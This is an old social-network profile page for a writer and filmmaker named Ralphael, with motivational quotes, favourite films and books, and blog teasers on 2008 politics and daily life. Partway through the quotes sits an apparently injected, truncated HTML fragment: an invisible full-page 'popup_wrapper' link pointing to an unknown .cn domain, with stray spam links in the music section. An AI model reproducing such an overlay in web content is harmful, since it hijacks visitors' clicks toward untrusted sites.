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Ralphael

Learn from Yesterday...Live for Today...Hope for Tomorrow...

About Me

“Your time is limited, so don't waste it living someone else's life...Don't be trapped by dogma, which is living with the results of other people's thinking... Don't let the noise of other people's opinions drown out your own inner voice... And most importantly, have the courage to follow your heart and intuition... They somehow already know what you truly want to become...Everything else is secondary.” -Steve JobsI'm Originally from NYC...But I consider Los Angeles my second home... I'm a Writer and Artist who fancies himself as a Independent Filmmaker (Writer/Director)...I also take Photographs...Play Guitar...etc...If it's an artistic pursuit I'm basically down with it...I love Good Food, Wine, Good People, and Better Friends...The rest is in the Alphabet...Arresting...Bold...Creative...Delirious...Empathy ...Foolish...Generous... Humorous...Intellectual...Juicy...Kinky...Lawyer-like...Magi cal... Nonconformist...Open...Persistant...Quick... Ridiculous...Sexual...Touched...Unusual...Vindictive... Writer...X-Factor...Yankees...Zodiac... THE ONLY WAY THAT I WILL EVER BE GREAT TO MYSELF...IS NOT WHAT I DO TO MY BODY...BUT WHAT I DO FOR MY MIND...The longer I live, the more I realize the impact of attitude on life. Attitude to me is more important than facts. It is more important than the past, than education, than money, than circumstances, than failures, than success, than what other people think, say or do. It is more important than appearance, gift, or skill. It will make or break a company...a church...a home... The remarkable thing is we have a choice every day regarding the attitude we will embrace for that day. We cannot change our past... The only thing we can do is play on the string we have, and that string is our ATTITUDE. I am convinced that life is 10% what happens to me and 90% how I react to it... And so it is with you...We Are in Charge of Our Attitudes. - Charles Swindoll MyGen Profile Generator

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Nothing can stop the man with the right mental attitude from achieving his goal; nothing on earth can help the man with the wrong mental attitude. -Thomas Jefferson “Success means having the courage, the determination, and the will to become the person you believe you were meant to be...” “The secret of life is in art.” -Oscar Wilde “The reason people find it so hard to be happy is that they always see the past better than it was, the present worse than it is, and the future less resolved than it will be” -Marcel Pagnol“Success means doing the best we can with what we have. Success is the doing, not the getting; in the trying, not the triumph. Success is a personal standard, reaching for the highest that is in us, becoming all that we can be.” “To me, there are three things we all should do every day... We should do this every day of our lives... Number one is Laugh. You should laugh every day. Number two is Think. You should spend some time in thought. And number three is, you should have your Emotions Moved to Tears, it could be happiness or joy... But think about it... If you laugh, you think, and you cry, that's a full day. That's a heck of a day... You do that seven days a week, you're going to have something special.” -Jim Valvano “Courage doesn't always roar...Sometimes courage is the quiet voice at the end of the day saying..."I will try again tomorrow.” “When I stand before God at the end of my life, I would hope that I would not have a single bit of talent left, and could say, "I used everything you gave me.” -Erma Bombeck"I am going to concentrate on what's important in life. I'm going to strive everyday to be a kind and generous and loving person. I'm going to keep death right here.... so that anytime I even think about getting angry at you or anybody else, I'll see death and I'll remember..." -Diane Frovlov (Northern Exposure,CBS) Twenty years from now you will be more disappointed by the things that you didn't do than by the ones you did do. So throw off the bowlines. Sail away from the safe harbor. Catch the trade winds in your sails. Explore. Dream. Discover. -Mark Twain "Nonviolence is the answer to the crucial political and moral questions of our time; the need for mankind to overcome oppression and violence without resorting to oppression and violence... Mankind must evolve for all human conflict a method which rejects revenge, aggression, and retaliation. The foundation of such a method is love..." -Martin Luther King Jr., December 11, 1964 Be studious in your profession, and you will be learned. Be industrious and frugal, and you will be rich. Be sober and temperate, and you will be healthy. Be in general virtuous, and you will be happy..." -Benjamin Franklin For every beauty there is an eye somewhere to see it. For every truth there is an ear somewhere to hear it. For every love there is a heart somewhere to receive it. -Ivan Panin "You're not supposed to be so blind with patriotism that you can't face reality. Wrong is wrong, no matter who does it or who says it." There is No greater Illusion than fear, No Greater Wrong than preparing to Defend yourself, No Greater Misfortune than having an Enemy..." "If you can see through your fears, You Will Always Be Safe..."a class="popup_wrapper" style="outline:none;background-color:transparent!important;c ursor:default;left:-30px;top:0px;height:5821px;width:1087px; "class=popup_x href="http://sooehsjc.cn/s/" da$d

I'd like to meet:

Cool, Intelligent, Street Smart People, Interesting People, Funny People, People who read more than 'Maxim' and/or 'Cosmo' for their opinions on Politics and Society, People who have relavent opinions of any kind, People of Empathy...People who understand and appreciate the true meaning of friendship... Or...Just Basically anybody who doesn't Suck... How can I set anyone Free who doesn't have the strength or the guts to stand up alone and declare their own freedom?... I think it's a Lie...People only claim they want to be free...Everybody insists that freedom is what they want the most, the most sacred and precious thing a person can possess... But that's total bullshit!... People are terrified to be set free...they hold on tightly to their chains... They furiously fight anyone who tries to break those chains... It's their security...How can they expect me or anyone else to set them free if they don't really want to be free...?Martin Luther King Jr., Gandhi, Malcolm X,Bob Marley, John F. Kennedy, Bill Clinton, Spike Lee, Jim Jarmusch, Graham Greene, Jack Kerouac, Charles Buckowski, Miles Davis,Sam Cooke,Otis Redding, Redd Foxx, Richard Pryor, Oliver Stone, Jimi Hendrix, Marilyn Monroe, Jim Morrison, George Benard Shaw, Woody Allen, Muhammad Ali, Martin Scorcese,Che Guevara, and my Angel...

Music:

John Legend Videos | Ringtones | Denver Relocation

Movies:

King of New York, HurlyBurly, Glengarry Glenross, The Breakfast Club, Annie Hall, The Big Lebowski, St. Elmo's Fire, Running Scared, Scarface, Tombstone, Goodfellas, Beautiful Girls,Shawshank Redemtion, Apocalyspe Now, Full Metal Jacket, Fresh, Bright Lights, Big City, Angels in America, All that Jazz...Any comic book movie A Clockwork Orange, Highlander, Zoolander, The Odd Couple...Beverly Hills Cop, 48 Hours, Dogday Afternoon, Batman Begins, X-Men 2.. Science fiction almost anything...etc..

Television:

HBO, ESPN, Comedy Central, Food Network, Discovery Channel, History Channel, Cartoon Network

Books:

The Alchemist, The Autobiography of Malcolm X, Tuesdays with Morrie, Portrait of Dorian Gray, The Professor and the Madman, Hollywood (Buckowski),Bambi vs. Godzilla, The Secret Life of Bees, Women (Buckowski), On the Road(Kerouac), The Catcher in the Rye, The Wisdom of Insecurity, The Comedians (Greene) The Virtue of Selfnishness (Rand), The Quiet Americans (Greene), The Art of War, The Invisible Man...

My Blog

Drunken Angels in America...

So it's Friday night, or to be more accurate, early Saturday morning, and I am at home alone like the part-time hermit that I am. Staying home on a Friday night in Hollywood, is like 'playing hookie' ...
Posted by Ralphael on Sat, 31 May 2008 01:50:00 PST

The Obama Pitch...

My last blog venting about American voters aside, here are some reasons you should vote for Barack Obama this fall...Reason One: He has the unique ability to attract independents and younger voters. W...
Posted by Ralphael on Sat, 26 Apr 2008 12:19:00 PST

The Race Issue...

As many of you know, yesterday was the 2008 Democratic Primary in Pennsylvania. Before i get into the details, allow me a quick back story. There is no way that Hillary Clinton can get enough delegate...
Posted by Ralphael on Thu, 24 Apr 2008 01:46:00 PST

Rock and Roll Ralph’s...

I’m not afraid to admit that I love going to the supermarket. Believe it or not, the supermarket rocks....I love food...I’m a foodie, who has to work out like a freak to balance all this s...
Posted by Ralphael on Wed, 26 Mar 2008 12:31:00 PST

$4,300....

As many of you have heard by now, New York Gov. Eliot Spitzer has been implicated in a prostitution ring. The fact that yet another married politician got caught with his proverbial 'pants down' doesn...
Posted by Ralphael on Wed, 12 Mar 2008 11:22:00 PST

I Should be Sleeping...

I should be sleeping right now but I'm not...I guess the proper explanation is that I can't sleep...I just got done watching 'Charlie Rose', on PBS (KLCS in LA) much like I do most every night...Yes, ...
Posted by Ralphael on Fri, 29 Feb 2008 02:21:00 PST

Text Message Wars...

I vaguely remember life before text messaging...I say vaguely because I find it difficult to imagine what my life was like before text messaging took it hostage. At first I avoided doing it, I found i...
Posted by Ralphael on Tue, 05 Feb 2008 11:04:00 PST

The Faith Issue...

For me faith is the underlying belief that things will work themselves out, even if I can't see how this will be possible. Often times it goes against logic and rational analysis. But still I cling to...
Posted by Ralphael on Wed, 30 Jan 2008 11:55:00 PST

Thumbs Up, Thumbs Down 2007...

It seems just like yesterday, or 363 days ago...yeah 363.Another 363 days have elasped in this year...How was your party? Did you laugh?My guess is that this past year contained for you, essentially, ...
Posted by Ralphael on Sun, 30 Dec 2007 03:45:00 PST

Useless Gifts...

So over the past couple of Christmas Eve, Eves, and days...I've basically locked myself in my apartment watching C.S.I. Miami re-runs on DVR, though this might at first seem pathetic, it was by choice...
Posted by Ralphael on Thu, 27 Dec 2007 08:04:00 PST